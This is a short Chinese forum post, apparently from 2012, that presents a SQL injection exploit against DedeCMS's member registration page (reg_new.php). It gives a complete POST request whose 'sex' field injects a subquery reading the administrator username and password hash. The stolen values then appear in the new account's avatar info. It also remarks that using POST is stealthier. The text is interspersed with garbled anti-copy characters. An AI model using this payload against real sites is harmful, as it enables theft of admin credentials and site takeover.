dedecms版本 201211223 t3 t$ I8 l5 S3 F% X% W1 x, X- g
* ^6 X' o8 p6 n9 [5 s. g
需要magic_quotes_gpc=Off& S. u& r" J; L7 D7 M
: @7 e- p( Y) Q1 e( }
应该是没有什么大危害的漏洞.
$ }) \" k3 i1 y原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
& X J. Y' D4 S, m: F9 _
1 E+ A, c5 Y/ X% H( l是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的." b7 G$ N b) b* d- ^7 ~
POST提交以下数据,其实不用POST提交的,这样隐蔽点.3 x/ t, D- T) u) m* B/ ~' ^
( q; C S9 I4 ~! i' Shttp:///de/member/reg_new.php7 }( C q/ v: Q7 ~# m( Q; I+ U
4 [% K) e8 ^4 Q' M- Y
POST, g5 }9 k# y* X* p$ F
5 O3 S8 N0 t2 b w
dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
3 v7 U1 g, b" j0 u
+ E5 P( s" A$ N; N# B) ]成功注册后,头像处里面有好玩的信息.1 ?# A5 |6 G9 d. w
' |" Q6 C P4 e' ]5 `. ? |
发表于 2012-12-5 10:03:32
收藏
支持
反对